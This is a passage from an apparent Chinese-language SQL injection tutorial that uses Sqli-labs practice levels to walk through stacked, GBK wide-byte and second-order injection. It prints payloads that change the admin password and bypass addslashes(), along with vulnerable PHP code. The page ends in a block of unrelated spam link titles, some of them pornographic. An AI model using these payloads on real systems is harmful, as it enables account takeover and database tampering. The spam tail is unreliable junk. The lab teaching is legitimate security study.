          但相應的,堆疊注入的利用條件變得更加嚴格,例如在 Mysql 中,需要使用mysqli_multi_query()函數才可以進行多條 SQL 語句同時執行,同時還需要網站對堆疊注入無過濾,因此在實戰中堆疊注入還是較為少見的

          下面我們用 Sqli-labs 第 38 關進行一下演示方便大家理解,先使用聯合注入判斷出列名有 id、username、password 三項,然后我們使用堆疊注入修改 admin 的密碼(原密碼為 admin),使用 update 方法構造 Payload 如下

          ?id=1';update users set password='test123456' where username='admin';--+
          

          再次查看數據庫發現 admin 密碼已被改為 test123456

          寬字節注入

          什么是寬/窄字節

          當某字符的大小為一個字節時,稱其字符為窄字節,當某字符的大小為兩個或更多字節時,稱其字符為寬字節,而且不同的字符編碼方式和字符集對字符的大小有不同的影響

          例如,在 ASCII 碼中,一個英文字母(不分大小寫)為一個字節,一個中文漢字為兩個字節;在 UTF-8 編碼中,一個英文字為一個字節,一個中文為三個字節;在 Unicode 編碼中,一個英文為一個字節,一個中文為兩個字節

          敏感函數 & 選項

          • addslashes()函數:返回在預定義字符之前添加反斜杠的字符串
          • magic_quotes_gpc選項:對 POST、GET、Cookie 傳入的數據進行轉義處理,在輸入數據的特殊字符如 單引號、雙引號、反斜線、NULL等字符前加入轉義字符\,在高版本 PHP 中(>=5.4.0)已經棄用
          • mysql_real_escape_string()函數:函數轉義 SQL 語句中使用的字符串中的特殊字符
          • mysql_escape_string()函數:和mysql_real_escape_string()函數基本一致,差別在于不接受連接參數,也不管當前字符集設定 寬字節注入原理

          寬字節注入的本質是開發者設置數據庫編碼與 PHP 編碼為不同的編碼格式從而導致產生寬字節注入,例如當 Mysql 數據庫使用 GBK 編碼時,它會把兩個字節的字符解析為一個漢字,而不是兩個英文字符,這樣,如果我們輸入一些特殊的字符,就會形成 SQL 注入

          為了防止 SQL 注入,通常會使用一些 PHP 函數,如addslashes()函數,來對特殊字符進行轉義(我們之前說過,轉義就是在字符前加一個\),反斜杠用 URL 編碼表示是%5c,所以如果我們輸入單引號,它會變成%5c%27,這樣我們就無法閉合 SQL 語句了


          但是,如果我們輸入
          %df’,它會變成%df%5c%27,這里,%df%5c是一個寬字節的GBK編碼,它表示一個繁體字“運”

          因為 GBK 編碼的第一個字節的范圍是 129-254,而%df的十進制是 223,所以它屬于 GBK 編碼的第一個字節,而%5c的十進制是 92,它屬于 GBK 編碼的第二個字節的范圍 64-254,所以,%df%5c被數據庫解析為一個漢字,而不是兩個英文字符
          這里我們用 Sqli-Labs 第 32 關進行演示方便大家理解,標題為 Bypass addslashes(),也就是說使用了addslashes()函數,先使用單引號判斷閉合,發現單引號被轉義

          這里我們白盒審計發現編碼類型為 GBK

          mysql_query("SET NAMES gbk");
          $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
          $result=mysql_query($sql);
          $row = mysql_fetch_array($result);
          

          固采用寬字節繞過,構造 Payload 如下


          這里后面再加一個單引號也無法閉合,因為會再次觸發轉義機制,這里直接注釋掉后面的內容即可,至此框架已經形成,后面基本思想與聯合注入一致,這里就不再贅述

          二次注入

          二次注入和上述的注入方式相比技術含量沒有這么高,主要是在于對于注入點的運用,需要運用兩個及以上的注入點進行攻擊

          二次注入原理

          這里假設有 A 和 B 兩個注入點,A 注入點因為存在過濾處理所以無法直接進行注入,但是會將我們輸入的數據以原本的形式儲存在數據庫中(存入數據庫時被還原了),在此情況下,我們找到注入點 B,使得后端調用存儲在數據庫中的惡意數據并執行 SQL 查詢,完成二次注入

          這也就引出了二次注入的兩個步驟

          • 插入惡意數據:構造惡意語句并進行數據庫插入數據時,雖對其中特殊字符進行了轉義處理,但在寫入數據庫時仍保留了原來的數據
          • 調用惡意數據:開發者默認存入數據庫的數據都是安全的,在進行調用時,直接使用惡意數據,沒有進行二次校驗

          這里我們用 Sqli-Labs 第 24 關進行演示方便大家理解,打開靶場可以看到是一個登錄/注冊頁面

          這里我們先對注冊頁面進行白盒審計,發現使用mysql_escape_string()函數進行轉義

            $username=  mysql_escape_string($_POST['username']) ;
            $pass= mysql_escape_string($_POST['password']);
            $re_pass= mysql_escape_string($_POST['re_password']);
          

          我們先來注冊一個 test 賬號看一下業務邏輯,發現登入后臺后可以修改密碼,再來白盒看一下修改密碼的 SQL 語句

          UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
          

          固我們可以在用戶名處構造 Payload 為test'#,提前閉合 username 參數,便有了覆蓋其他賬戶密碼的可能性,$curr_pass變量是原密碼,所以這里被注釋不影響密碼的修改,反而去除了原密碼的校驗

          UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass'
          

          這里我們嘗試修改 admin 的密碼,改為 abc123,先注冊 admin'#,再使用修改密碼功能修改它的密碼,因為此時 SQL 語句被提前閉合,所以實際上修改的是 admin 的密碼

          原文鏈接:https://forum.butian.net/share/2768

          感覺385大佬的分享


          主站蜘蛛池模板: 中文字幕在线一区二区三区| 亚洲变态另类一区二区三区| 蜜臀Av午夜一区二区三区| 一区国严二区亚洲三区| 午夜福利一区二区三区高清视频| 鲁丝丝国产一区二区| 亚洲第一区视频在线观看| 国产高清精品一区| 久久蜜桃精品一区二区三区| 精品一区高潮喷吹在线播放| 国产成人精品一区在线| 国产精品无码一区二区三区不卡| 日韩免费视频一区二区| 日本高清无卡码一区二区久久| 亚洲综合色一区二区三区| 亚洲一区中文字幕在线电影网 | 日韩一区二区三区视频| 午夜天堂一区人妻| 无码精品人妻一区二区三区免费看 | 日本一区二区三区在线网| 国产精品小黄鸭一区二区三区 | 久久高清一区二区三区| 国产一在线精品一区在线观看| 亚洲国产精品成人一区| 国产精品电影一区二区三区| 国产成人精品一区二三区 | 在线精品亚洲一区二区| 亚洲一区二区中文| 精品人妻码一区二区三区| 精品国产一区二区三区免费| 国产在线精品一区二区夜色| 福利一区福利二区| 福利一区在线视频| 福利在线一区二区| 97精品国产福利一区二区三区| 福利一区二区三区视频在线观看 | 加勒比无码一区二区三区| 国产乱码精品一区二区三区 | 亚洲国产一区二区视频网站| 亚州国产AV一区二区三区伊在| 亲子乱AV视频一区二区|